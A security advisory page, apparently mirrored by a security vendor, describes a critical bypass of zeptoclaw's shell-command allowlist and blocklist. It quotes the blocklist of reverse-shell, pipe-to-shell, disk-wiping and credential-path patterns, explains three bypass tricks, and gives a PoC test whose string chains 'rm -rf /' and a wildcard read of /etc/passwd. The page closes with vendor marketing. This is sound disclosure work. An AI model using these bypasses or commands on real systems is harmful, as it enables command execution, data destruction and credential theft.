Summary
zeptoclaw implements a allowlist combined with a blocklist to prevent malicious shell commands in src/security/shell.rs. However, even in the Strict mode, attackers can completely bypass all the guards from allowlist and blocklist:
- to bypass the
allowlist, command injection is enough, such as;,$()etc. - to bypass the
REGEX_BLOCKED_PATTERNS, argument injection is enough, such as thepython3 -P -c "..." - to bypass the
LITERAL_BLOCKED_PATTERNS, file name wildcards can do the work, such ascat /etc/pass[w]d
Details
In code src/security/shell.rs#L218-L243, one can see the allowlist only checks the first token and thus makes command injection possible.
// Allowlist check (runs after blocklist)
if self.allowlist_mode != ShellAllowlistMode::Off && !self.allowlist.is_empty() {
let first_token = command
.split_whitespace()
.next()
.unwrap_or("")
.to_lowercase();
// Strip path prefix (e.g. /usr/bin/git -> git)
let executable = first_token.rsplit('/').next().unwrap_or(&first_token);
if !self.allowlist.iter().any(|a| a == executable) {
match self.allowlist_mode {
ShellAllowlistMode::Strict => {
return Err(ZeptoError::SecurityViolation(format!(
"Command '{}' not in allowlist",
executable
)));
}
ShellAllowlistMode::Warn => {
tracing::warn!(
command = %command,
executable = %executable,
"Command not in allowlist"
);
}
ShellAllowlistMode::Off => {} // unreachable
}
!self.allowlist.is_empty() makes the empty allowlist overlook the allowlist check, if it is in ShellAllowlistMode::Strict mode, empty allowlist should direct reject all the commands.
As the code in src/security/shell.rs#L18-L70, we can find the REGEX_BLOCKED_PATTERNS only apply \s+ in between the command and arguments, making argument injection possible, and the LITERAL_BLOCKED_PATTERNS just uses specific file name, totally overlooking the file name wildcards:
const REGEX_BLOCKED_PATTERNS: &[&str] = &[
// Piped shell execution (curl/wget to sh/bash)
r"curl\s+.*\|\s*(sh|bash|zsh)",
r"wget\s+.*\|\s*(sh|bash|zsh)",
r"\|\s*(sh|bash|zsh)\s*$",
// Reverse shells
r"bash\s+-i\s+>&\s*/dev/tcp",
r"nc\s+.*-e\s+(sh|bash|/bin)",
r"/dev/tcp/",
r"/dev/udp/",
// Destructive root operations (various flag orderings)
r"rm\s+(-[rf]{1,2}\s+)*(-[rf]{1,2}\s+)*/\s*($|;|\||&)",
r"rm\s+(-[rf]{1,2}\s+)*(-[rf]{1,2}\s+)*/\*\s*($|;|\||&)",
// Format/overwrite disk
r"mkfs(\.[a-z0-9]+)?\s",
r"dd\s+.*if=/dev/(zero|random|urandom).*of=/dev/[sh]d",
r">\s*/dev/[sh]d[a-z]",
// System-wide permission changes
r"chmod\s+(-R\s+)?777\s+/\s*$",
r"chmod\s+(-R\s+)?777\s+/[a-z]",
// Fork bombs
r":\(\)\s*\{\s*:\|:&\s*\}\s*;:",
r"fork\s*\(\s*\)",
// Encoded/indirect execution (common blocklist bypasses)
r"base64\s+(-d|--decode)",
r"python[23]?\s+-c\s+",
r"perl\s+-e\s+",
r"ruby\s+-e\s+",
r"node\s+-e\s+",
r"\beval\s+",
r"xargs\s+.*sh\b",
r"xargs\s+.*bash\b",
// Environment variable exfiltration
r"\benv\b.*>\s*/",
r"\bprintenv\b.*>\s*/",
];
/// Literal substring patterns (credentials, sensitive paths)
const LITERAL_BLOCKED_PATTERNS: &[&str] = &[
"/etc/shadow",
"/etc/passwd",
"~/.ssh/",
".ssh/id_rsa",
".ssh/id_ed25519",
".ssh/id_ecdsa",
".ssh/id_dsa",
".ssh/authorized_keys",
".aws/credentials",
".kube/config",
// ZeptoClaw's own config (contains API keys and channel tokens)
".zeptoclaw/config.json",
".zeptoclaw/config.yaml",
];
PoC
#[test]
fn test_allowlist_bypass() {
let config =
ShellSecurityConfig::new().with_allowlist(vec!["git"], ShellAllowlistMode::Strict);
assert!(config.validate_command("/usr/bin/git status; python -P -c 'import os; os.system(\"rm -rf /\")'; cat /etc/pass[w]d").is_ok());
}
Credit
Impact
Unauthorized command execution.
Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.
GHSA-5WP8-Q9MX-8JX8 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.6.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-5WP8-Q9MX-8JX8? GHSA-5WP8-Q9MX-8JX8 is a critical-severity command injection vulnerability in zeptoclaw (rust), affecting versions <= 0.6.1. It is fixed in 0.6.2. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
- How severe is GHSA-5WP8-Q9MX-8JX8? GHSA-5WP8-Q9MX-8JX8 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of zeptoclaw are affected by GHSA-5WP8-Q9MX-8JX8? zeptoclaw (rust) versions <= 0.6.1 is affected.
- Is there a fix for GHSA-5WP8-Q9MX-8JX8? Yes. GHSA-5WP8-Q9MX-8JX8 is fixed in 0.6.2. Upgrade to this version or later.
- Is GHSA-5WP8-Q9MX-8JX8 exploitable, and should I be worried? Whether GHSA-5WP8-Q9MX-8JX8 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-5WP8-Q9MX-8JX8 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-5WP8-Q9MX-8JX8? Upgrade
zeptoclawto 0.6.2 or later.